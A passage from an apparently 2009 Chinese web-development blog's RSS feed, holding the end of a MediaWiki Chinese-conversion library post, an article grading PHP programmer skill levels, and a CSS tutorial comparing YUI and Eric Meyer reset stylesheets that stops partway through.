转换目标可选值为 zh, zh-cn, zh-tw, zh-sg, zh-hk<br>*/</span><span class="pln"><br><br>echo </span><span class="typ">MediaWikiZhConverter</span><span class="pun">::</span><span class="pln">convert</span><span class="pun">(</span><span class="str">"面包"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"zh-tw"</span><span class="pun">);</span><span class="pln"><br>echo </span><span class="typ">MediaWikiZhConverter</span><span class="pun">::</span><span class="pln">convert</span><span class="pun">(</span><span class="str">"記憶體"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"zh-cn"</span><span class="pun">);</span><span class="pln"><br>echo </span><span class="typ">MediaWikiZhConverter</span><span class="pun">::</span><span class="pln">convert</span><span class="pun">(</span><span class="str">"罗纳尔多"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"zh-hk"</span><span class="pun">);</span></pre><p>5. 完成 </p><h2><a name="支援版本">支持版本</a></h2><p><a name="支援版本">下列MediaWiki 版本已证实可以兼容本程式 (</a><a href="http://download.wikimedia.org/mediawiki" rel="nofollow">http://download.wikimedia.org/mediawiki</a>)： </p><ul><li>PHP4: 1.6.10, 1.6.11 </li><li>PHP5: 1.12.0, 1.13.3 </li></ul><p>如非必要，请使用 <strong>PHP5</strong> 版本。 </p><h2><a name="在線演示">在线演示</a></h2><p><a href="http://labs.xddnet.com/mediawiki-zhconverter/example/example.html" rel="nofollow">http://labs.xddnet.com/mediawiki-zhconverter/example/example.html</a> </p> ]]>
            </content:encoded>
</item>

<item>
  <title>测试一下你是不是伪PHP程序员</title>
  <link>http://www.phpv.net/html/1673.html</link>
  <comments>http://www.phpv.net/html/1673.html#comments</comments>
  <pubDate>Mon, 02 Mar 2009 23:39:14 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ PHP5研究[新] ]]>
            </category>
  <content:encoded>
            <![CDATA[ <font id="zoom" class="f14"><b>应该具有什么样的技能，才算得上</b></font><font id="zoom" class="f14"><b>PHP程序员？你的技术又是在什么水平级别上？ CU上的BS同学写了以下文章。欢迎各位对号入座。</b></font><br><font id="zoom" class="f14"><b><br><br>1、PHP编程能力</b>
<br>说不清，留空<br>
<br>
<br><b>2、MySQL能力</b>
<br>
<br>在开发上的应用基于几个能力体现：
<br>1、了解：知道用PHP连接数据库；懂得写一些简单的SQL；建一些简单的索引；懂得用工具简单操作一下数据库（增删改库表结构数据等等）。
<br>2、熟悉：懂得在开发应用上设计数据库，建立一些有效的索引，用explain分析SQL性能，压力测试等等。
<br>3、很熟悉：深入了解数据库索引、存储引擎原理以及运行机制，能有效地构建高性能可扩展的数据库结构/架构，有效地优化数据库性能配置并加以调试，分析数据库运行状态。
<br>4、精通：简单地说具备以上所有能力的同时，有多年高负载分布式环境下的优化管理经验。
<br>
<br>
<br>据我观察以及交往经验，70%的PHPer处在了解阶段，25%处于熟悉阶段，&gt;4%很熟悉，精通的人基本就不是phper了。
<br>
<br>70%这个群体最容易忽视MySQL，以为MySQL只是简单的存储媒介，没有优化意识，认为加个内存、CPU就能解决问题。
<br>典型事件：join、order&nbsp;by、group&nbsp;by等语句性能一塌糊涂，数据库根本没有设计(仅限于拆成一个主表，N个附表等)，搞不清字段类型及作用，碰到大表的复杂查询就没辙。
<br>
<br>
<br>20%这个群体的人只是MySQL运行机制理解不透彻，对影响MySQL性能的关健因素把握不明确，不熟练。
<br>典型事件：熟读手册，但说不清索引原理，不知道二叉树、HASH等算法对于数据库的作用
<br>
<br>
<br>&gt;4%的群体已经基本可以胜任DBA的职能。
<br>
<br>
<br><b>3、OOP能力</b>
<br>1、了解：了解变量的作用域、类型，及其意义，了解继承机制等，懂得复用、封装概念。
<br>2、熟悉：熟练应用接口、抽象等技术混合开发程序，并理解其中含义，一般研究过JAVA。
<br>3、很熟悉：有过OOP架构设计经验，熟悉设计模式、UML，熟悉PHP对象运行机制，内容管理等。
<br>4、精通：应该是架构师级别了，不限于PHP。
<br>
<br>经常我们会碰到一些自称熟悉OOP却连public、private、protected、static都解释不清的人，是肯定没有经历过正规的OOP项目。
<br>
<br><b>4、大型网站经验</b>
<br>1、了解：熟悉PHP开发下的缓存应用（memcache、APC等）；接触过LVS、SQUID应用；
<br>有一定的session处理方案；熟悉负载均衡；熟悉PHP数据连接池应用；了解PHP编程性能优化。
<br>2、熟悉：掌握分布式缓存及缓存性能优化、熟悉存储系统、文件系统、数据库，开发可扩展平台。能结合负载均衡合理布置流量，对PHP运行性能进行监控与分析。
<br>3、非常熟悉：具备系统分析师能力，已经超出phper环节...
<br>4、精通：太深奥..
<br>
<br>
<br><b>5、DOM开发能力</b>
<br>
留空<br>
<br><b>6、*nux应用能力
<br>
</b></font>...<br><font id="zoom" class="f14"><b>
<br>
</b>以上只是个人拙见，仅希望能够以此抛砖引玉，希望大牛加以补充或更正。<br><br>有话想说？请在下方留言<br><br></font> ]]>
            </content:encoded>
</item>

<item>
  <title>WEB标准之CSS: 打造自己的reset.css</title>
  <link>http://www.phpv.net/html/1672.html</link>
  <comments>http://www.phpv.net/html/1672.html#comments</comments>
  <pubDate>Sun, 01 Mar 2009 17:23:44 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 前端交互 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p><strong>0，引言</strong></p><p><br>
每每有新项目，<a target="_blank" href="http://www.qianduan.net/?p=5539">第一步就是应当使用一个reset.css来重置样式</a>。
滥用不如不用，直接拿个现成的reset.css过来将导致后期各种离奇bug的发生。</p><p><br></p><p>所以最好还是自己写一个reset.css，并且要明白每一条
reset都是用来做什么的。</p><p>reset.css本意就是重置样式，我始终建议把.clearfix放入layout.css,而把h1、h2之类的定义放进typography.css。 <br></p><p>具体如何规划网站CSS结构，不在文本讨论之列，可以参考Smashing Magazine上的<a target="_blank" href="http://www.smashingmagazine.com/2008/05/02/improving-code-readability-with-css-styleguides/">文章</a>，国内有差强人意的<a target="_blank" href="http://www.webjx.com/css/divcss-7054.html">中文译版</a>。 <br></p><p>注意，本文把reset分成了两个部分，一个是纯reset.css，可以用于任何项目。另一个是用于特定项目的“reset”，自定义修改的内容，这些
内容可以放在layout.css、typography.css之类的文件中，他们共同导入到一个base.css形成一个项目的基础样式。</p><p>本文就是来介绍如何写一个合适所有项目的通用的reset.css，以及介绍在设置玩reset.css之后需要针对不同项目要首先要设置的内容。</p>
<p><strong>1，基础</strong><br>
牛顿是站在巨人伽利略的肩膀上的，我们也可以这么做。首先我们要选定一个前进的基础。<br>
请永远不要使用 </p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">*</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: Green;">margin:</span><span style="color: Gray;"> </span><span style="color: Maroon;">0</span><span style="color: Gray;">; </span><span style="color: Green;">padding:</span><span style="color: Gray;"> </span><span style="color: Maroon;">0</span><span style="color: Gray;">; </span><span style="color: Olive;">}</span></li></ol></div>
<p>这问题太多了，在此不多加表述。</p>
<p>目前比较流行的有<a target="_blank" href="http://meyerweb.com/eric/thoughts/2007/04/14/reworked-reset/">Eric Meyer</a>的重置样式和<a target="_blank" href="http://developer.yahoo.com/yui/reset/">YUI</a>的重置样式。另有<a target="_blank" href="http://perishablepress.com/press/2007/10/23/a-killer-collection-of-global-css-reset-styles/">Condensed Meyer Reset</a>简化Eric Meyer的样式。有趣的是，Eric的重置样式也是<a target="_blank" href="http://meyerweb.com/eric/thoughts/2007/04/12/reset-styles/">源于YUI的</a>。而那份简化版又把Eric的样式简化回YUI的样式了 。但同时，糟糕的是，网上流传的比较广的(尤其是国内)都不是最新的版本。</p><p>上面两个页面里直接看到的都不是最新的，Eric专门为有一个<a target="_blank" href="http://meyerweb.com/eric/tools/css/reset/index.html">reset.css页面</a>。而YUI当前版本(2.7.0)的reset.css<a target="_blank" href="http://yui.yahooapis.com/2.7.0/build/reset/reset.css">实际地址</a>里，比上面的页面中还多一些东西。此外，我们还可以基于一些常见的框架，比较著名的比如<a target="_blank" href="http://www.blueprintcss.org/">Blueprint</a>或者<a target="_blank" href="http://elements.projectdesigns.org/">Elements CSS Framework</a>（这个的reset也是源自于Eric Meyer的）。</p><p>OK，准备工作就差不多了。以上这些都可以作为参考资料来组织我们自己的reset。我这里主要采用YUI，兼带Eric的reset。</p>
<p><strong>2，默认色彩</strong><br>
对于页面是不是有默认背景色和前景色，YUI和Eric有着不同的看法。<br>
YUI重置背景色为白色而文字颜色为黑色。</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">html</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">color:</span><span style="color: Gray;">&nbsp;</span><span style="color: rgb(0, 0, 139);">#000</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">background:</span><span style="color: Gray;">&nbsp;</span><span style="color: rgb(0, 0, 139);">#FFF</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>而Eric在当前最新版中让所有颜色为透明，他认为透明才是最原始的颜色。虽然他曾<a target="_blank" href="http://meyerweb.com/eric/thoughts/2007/05/01/reset-reloaded/">一度认为</a>也应当设置白色背景色、黑色文字颜色。至于最后为什么改了，Eric并没有给出具体理由。</p>
<p>这个问题我基本认为是用户自定义的更重要还是你的设计更重要的问题。我个人的观点是，如果你的设计本身就是白色背景，那么不要设置背景。一小部分中
高水平的用户，他们会自定义网页默认背景色。</p><p>设置成他们喜欢的背景色，比如浅蓝色。基本常见的浏览器都提供了这个简单的功能。而我们的背景色重置则会破坏
用户的选择——尽管这样能保证你的设计原汁原味的呈现给所有用户。当然我知道，更高端的用户会用Stylish之类的Firefox扩展来自定义页面。</p><p>但不得不说，只会用“选项”来调背景色的用户更多，不是么？而同时，如果设计本身就有其他背景色，比如黑色、蓝色、绿色之类的，OK，这些设计当然可以设置
背景色。但请不要放进reset.css里。这里是重置样式的地方，不是你设计的地方。请把你的设计放在更广袤的土地上。</p><p><br>
所以，简单说来，NO，不要在reset中设置背景色。</p>
<p>那么，文字颜色呢？原则上来说，也是不应该设置文字颜色的。但是IE中的表单元素中legend这个对象比较特别，跟主题结合的比较紧密。legend会默认有自己的颜色（跟当前的主题有关）而不会继承父元素的颜色（即便设了color:inherit;）。</p><p><br>
从某些角度来说，可以想当然地认为设置字体颜色人数远小于设置背景色的人数；以及认为就算设置了背景色，人们看到legend元素是黑色的也不会觉得奇怪。因此，YUI在其reset中设置了legend {color: #000;}是无可厚非的。</p><p><br>
但反过来说，把这个放到typography.css或者form.css里岂不是更好？不同的页面设计，其对legend的色彩要求很可能是不同的，放
在reset.css里重复定义是没有必要的。因此这条CSS规则可以作为在reset.css之后首先应当设置的规则。</p>
<p><strong>3，padding和margin</strong><br>
曾经一度流行的<code>* { margin: 0; padding: 0; }</code>也就是出于这个目的。让各个元素的padding和margin都归零，尤其是那些h1和p以及ul/ol/li之类的元素，还有，body本身也是有margin的。清除元素的padding和margin是很有用的。<br>
YUI这样做：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">body</span><span style="color: Gray;">, </span><span style="color: Blue;">div</span><span style="color: Gray;">, </span><span style="color: Blue;">dl</span><span style="color: Gray;">, </span><span style="color: Blue;">dt</span><span style="color: Gray;">, </span><span style="color: Blue;">dd</span><span style="color: Gray;">, </span><span style="color: Blue;">ul</span><span style="color: Gray;">, </span><span style="color: Blue;">ol</span><span style="color: Gray;">, </span><span style="color: Blue;">li</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">h1</span><span style="color: Gray;">, </span><span style="color: Blue;">h2</span><span style="color: Gray;">, </span><span style="color: Blue;">h3</span><span style="color: Gray;">, </span><span style="color: Blue;">h4</span><span style="color: Gray;">, </span><span style="color: Blue;">h5</span><span style="color: Gray;">, </span><span style="color: Blue;">h6</span><span style="color: Gray;">, </span><span style="color: Blue;">pre</span><span style="color: Gray;">, </span><span style="color: Blue;">code</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">form</span><span style="color: Gray;">, </span><span style="color: Blue;">fieldset</span><span style="color: Gray;">, </span><span style="color: Blue;">legend</span><span style="color: Gray;">, </span><span style="color: Blue;">input</span><span style="color: Gray;">, </span><span style="color: Blue;">button</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">textarea</span><span style="color: Gray;">, </span><span style="color: Blue;">p</span><span style="color: Gray;">, </span><span style="color: Blue;">blockquote</span><span style="color: Gray;">, </span><span style="color: Blue;">th</span><span style="color: Gray;">, </span><span style="color: Blue;">td</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">margin:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">padding:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>而Eric这样做：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">html</span><span style="color: Gray;">, </span><span style="color: Blue;">body</span><span style="color: Gray;">, </span><span style="color: Blue;">div</span><span style="color: Gray;">, </span><span style="color: Blue;">span</span><span style="color: Gray;">, </span><span style="color: Blue;">applet</span><span style="color: Gray;">, </span><span style="color: Blue;">object</span><span style="color: Gray;">, </span><span style="color: Blue;">iframe</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">h1</span><span style="color: Gray;">, </span><span style="color: Blue;">h2</span><span style="color: Gray;">, </span><span style="color: Blue;">h3</span><span style="color: Gray;">, </span><span style="color: Blue;">h4</span><span style="color: Gray;">, </span><span style="color: Blue;">h5</span><span style="color: Gray;">, </span><span style="color: Blue;">h6</span><span style="color: Gray;">, </span><span style="color: Blue;">p</span><span style="color: Gray;">, </span><span style="color: Blue;">blockquote</span><span style="color: Gray;">, </span><span style="color: Blue;">pre</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">a</span><span style="color: Gray;">, </span><span style="color: Blue;">abbr</span><span style="color: Gray;">, </span><span style="color: Blue;">acronym</span><span style="color: Gray;">, </span><span style="color: Blue;">address</span><span style="color: Gray;">, </span><span style="color: Blue;">big</span><span style="color: Gray;">, </span><span style="color: Blue;">cite</span><span style="color: Gray;">, </span><span style="color: Blue;">code</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">del</span><span style="color: Gray;">, </span><span style="color: Blue;">dfn</span><span style="color: Gray;">, </span><span style="color: Blue;">em</span><span style="color: Gray;">, </span><span style="color: Blue;">font</span><span style="color: Gray;">, </span><span style="color: Blue;">img</span><span style="color: Gray;">, </span><span style="color: Blue;">ins</span><span style="color: Gray;">, </span><span style="color: Blue;">kbd</span><span style="color: Gray;">, </span><span style="color: Blue;">q</span><span style="color: Gray;">, </span><span style="color: Blue;">s</span><span style="color: Gray;">, </span><span style="color: Blue;">samp</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">small</span><span style="color: Gray;">, </span><span style="color: Blue;">strike</span><span style="color: Gray;">, </span><span style="color: Blue;">strong</span><span style="color: Gray;">, </span><span style="color: Blue;">sub</span><span style="color: Gray;">, </span><span style="color: Blue;">sup</span><span style="color: Gray;">, </span><span style="color: Blue;">tt</span><span style="color: Gray;">, </span><span style="color: Blue;">var</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">b</span><span style="color: Gray;">, </span><span style="color: Blue;">u</span><span style="color: Gray;">, </span><span style="color: Blue;">i</span><span style="color: Gray;">, </span><span style="color: Blue;">center</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">dl</span><span style="color: Gray;">, </span><span style="color: Blue;">dt</span><span style="color: Gray;">, </span><span style="color: Blue;">dd</span><span style="color: Gray;">, </span><span style="color: Blue;">ol</span><span style="color: Gray;">, </span><span style="color: Blue;">ul</span><span style="color: Gray;">, </span><span style="color: Blue;">li</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">fieldset</span><span style="color: Gray;">, </span><span style="color: Blue;">form</span><span style="color: Gray;">, </span><span style="color: Blue;">label</span><span style="color: Gray;">, </span><span style="color: Blue;">legend</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">table</span><span style="color: Gray;">, </span><span style="color: Blue;">caption</span><span style="color: Gray;">, </span><span style="color: Blue;">tbody</span><span style="color: Gray;">, </span><span style="color: Blue;">tfoot</span><span style="color: Gray;">, </span><span style="color: Blue;">thead</span><span style="color: Gray;">, </span><span style="color: Blue;">tr</span><span style="color: Gray;">, </span><span style="color: Blue;">th</span><span style="color: Gray;">, </span><span style="color: Blue;">td</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">margin:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">padding:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">border:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">outline:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-size:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">100</span><span style="color: Red;">%</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">vertical-align:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">baseline</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">background:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">transparent</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>可以看到，Eric把几乎所有的元素都写上了规则。而YUI只把有padding和margin的元素清空样式，而其他元素则不动。我个人比较偏好
YUI的做法，因为他这样可以避免给一些无关元素带上不必要的样式。导致元素过多时的性能下降。但Eric的也有可取之处，他这样写，整个
reset.css可以小上不少字节。对服务器的压力会小一些。你怎么用呢？看你自己喜好了。</p>
<p><strong>4，边框</strong><br>
YUI里：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">fieldset</span><span style="color: Gray;">, </span><span style="color: Blue;">img</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">border:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Blue;">abbr</span><span style="color: Gray;">, </span><span style="color: Blue;">acronym</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">border:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-variant:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">normal</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>Eric已经在上一条中把所有的边框都清掉了，还是推荐用YUI的，理由同上。</p>
<p><strong>5，外边框</strong><br>
这个就是元素获取焦点时的虚线框，在ie之外的浏览器上可以像下面Eric做的那样，通过设置outline来消除。</p>
<div><ol title="Double click to hide line number."><li><span style="color: Gray;">/</span><span style="color: Blue;">*</span><span style="color: Gray;"> </span><span style="color: Blue;">remember</span><span style="color: Gray;"> </span><span style="color: Blue;">to</span><span style="color: Gray;"> </span><span style="color: Blue;">define</span><span style="color: Gray;"> </span><span style="color: Blue;">focus</span><span style="color: Gray;"> </span><span style="color: Blue;">styles</span><span style="color: Gray;">! </span><span style="color: Blue;">*</span><span style="color: Gray;">/</span></li><li><span style="color: Navy;">:focus</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">outline:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>而YUI则没有设置这一条。而在Eric的样式中，可以看到Eric的提醒：务必重新定义获取焦点后的样式！<br>
这点其实很重要，出于可访问性的角度出发，那些不便于使用鼠标的人基本上都是用tab导航来浏览网页的。获取焦点的元素有特定样式的话可以极大帮助这类群
体的用户。</p><p>从通用性角度来说，YUI那样不加这条比较好，毕竟没多少人会自定义焦点样式。但从一个reset.css来说，应当还是加上去比较好。毕竟是
为了重置所有样式而写的reset.css，不能留下缺憾。因此这条可以作为reset.css之后及早定义的规则。</p>
<p><strong>6，字体样式(font style/weight/size/variant)</strong><br>
YUI里，分成了多条：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">address</span><span style="color: Gray;">, </span><span style="color: Blue;">caption</span><span style="color: Gray;">, </span><span style="color: Blue;">cite</span><span style="color: Gray;">, </span><span style="color: Blue;">code</span><span style="color: Gray;">, </span><span style="color: Blue;">dfn</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">em</span><span style="color: Gray;">, </span><span style="color: Blue;">strong</span><span style="color: Gray;">, </span><span style="color: Blue;">th</span><span style="color: Gray;">, </span><span style="color: Blue;">var</span><span style="color: Gray;">, </span><span style="color: Blue;">optgroup</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-style:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">inherit</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-weight:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">inherit</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Gray;">&nbsp;</span></li><li><span style="color: Blue;">h1</span><span style="color: Gray;">, </span><span style="color: Blue;">h2</span><span style="color: Gray;">, </span><span style="color: Blue;">h3</span><span style="color: Gray;">, </span><span style="color: Blue;">h4</span><span style="color: Gray;">, </span><span style="color: Blue;">h5</span><span style="color: Gray;">, </span><span style="color: Blue;">h6</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-size:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">100</span><span style="color: Red;">%</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-weight:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">normal</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Blue;">abbr</span><span style="color: Gray;">, </span><span style="color: Blue;">acronym</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">border:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-variant:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">normal</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Gray;">&nbsp;</span></li><li><span style="color: Blue;">input</span><span style="color: Gray;">, </span><span style="color: Blue;">button</span><span style="color: Gray;">, </span><span style="color: Blue;">textarea</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">select</span><span style="color: Gray;">, </span><span style="color: Blue;">optgroup</span><span style="color: Gray;">, </span><span style="color: Blue;">option</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-family:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">inherit</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-size:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">inherit</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-style:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">inherit</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-weight:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">inherit</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Gray;">&nbsp;</span></li><li><span style="color: Gray;">/</span><span style="color: Blue;">*</span><span style="color: rgb(0, 0, 139);">@purpose</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">To</span><span style="color: Gray;"> </span><span style="color: Blue;">enable</span><span style="color: Gray;"> </span><span style="color: Blue;">resizing</span><span style="color: Gray;"> </span><span style="color: Blue;">for</span><span style="color: Gray;"> </span><span style="color: Blue;">IE</span><span style="color: Gray;"> </span><span style="color: Blue;">*</span><span style="color: Gray;">/</span></li><li><span style="color: Gray;">/</span><span style="color: Blue;">*</span><span style="color: rgb(0, 0, 139);">@branch</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">For</span><span style="color: Gray;"> </span><span style="color: Blue;">IE6-Win</span><span style="color: Gray;">, </span><span style="color: Blue;">IE7-Win</span><span style="color: Gray;"> </span><span style="color: Blue;">*</span><span style="color: Gray;">/</span></li><li><span style="color: Blue;">input</span><span style="color: Gray;">, </span><span style="color: Blue;">button</span><span style="color: Gray;">, </span><span style="color: Blue;">textarea</span><span style="color: Gray;">, </span><span style="color: Blue;">select</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">*</span><span style="color: Green;">font-size:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">100</span><span style="color: Red;">%</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>Eric则在他最终版的reset中去掉了关于这些的样式重置，只保留了 <code>font-size: 100%;</code> 同样他没有给出具体理由。<br>
但通常情况下，我认为还是重置一下这些样式好，比如strong元素，很多时候只是语义而已，并非希望他真的加粗。可能会有背景色或者其他方式来强调。</p><p>而之所以这里都用了inherit这个继承属性而不是定义 <code>font-weight: normal;</code> 可以在 Eric 先前的<a target="_blank" href="http://meyerweb.com/eric/thoughts/2007/04/14/reworked-reset/">reset文章</a>中看到。这是为了防止——父元素字体加粗了，而没有一个子元素继承加粗属性（因为设置了normal）——这种情况的发生。</p>
<p>此外，对于h1-h6的字体大小定义，建议放到专门的typography.css里，不建议放在reset.css里。所以这里我同样倾向于用YUI的策略，全部重置。</p>
<p><strong>7，行高(line-height)</strong><br>
对于行高，YUI并没有给出重置定义，而Eric则给出了重置：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">body</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">line-height:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">1</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>行高默认所有元素都会继承的，所以给body设置行高为1就足够了。通常行高设为1时候，英文照常阅读，但中文就无法阅读了，行间距过于紧密导致容
易看错行。通常在中文环境下得设置1.4到1.5才能是用户正常阅读。</p><p>我建议是1.5，这样算出来的值也是整数。比如字体大小12px的时候行高是
18px，字体大小16px时行高24px。看起来也会比较舒服。</p>
<p><strong>8，列表样式</strong><br>
YUI用了：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">li</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">list-style:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">none</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>Eric用了：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">ol</span><span style="color: Gray;">, </span><span style="color: Blue;">ul</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">list-style:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">none</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>尽管我没有测试出YUI的有什么问题，但我始终觉得设置ol和ul会比较稳妥。而且，波及的元素更少，性能应该更高一点。虽然下载量会多3字节。</p>
<p><strong>9，表格元素</strong><br>
在表格方面，都比较统一。均是：</p>
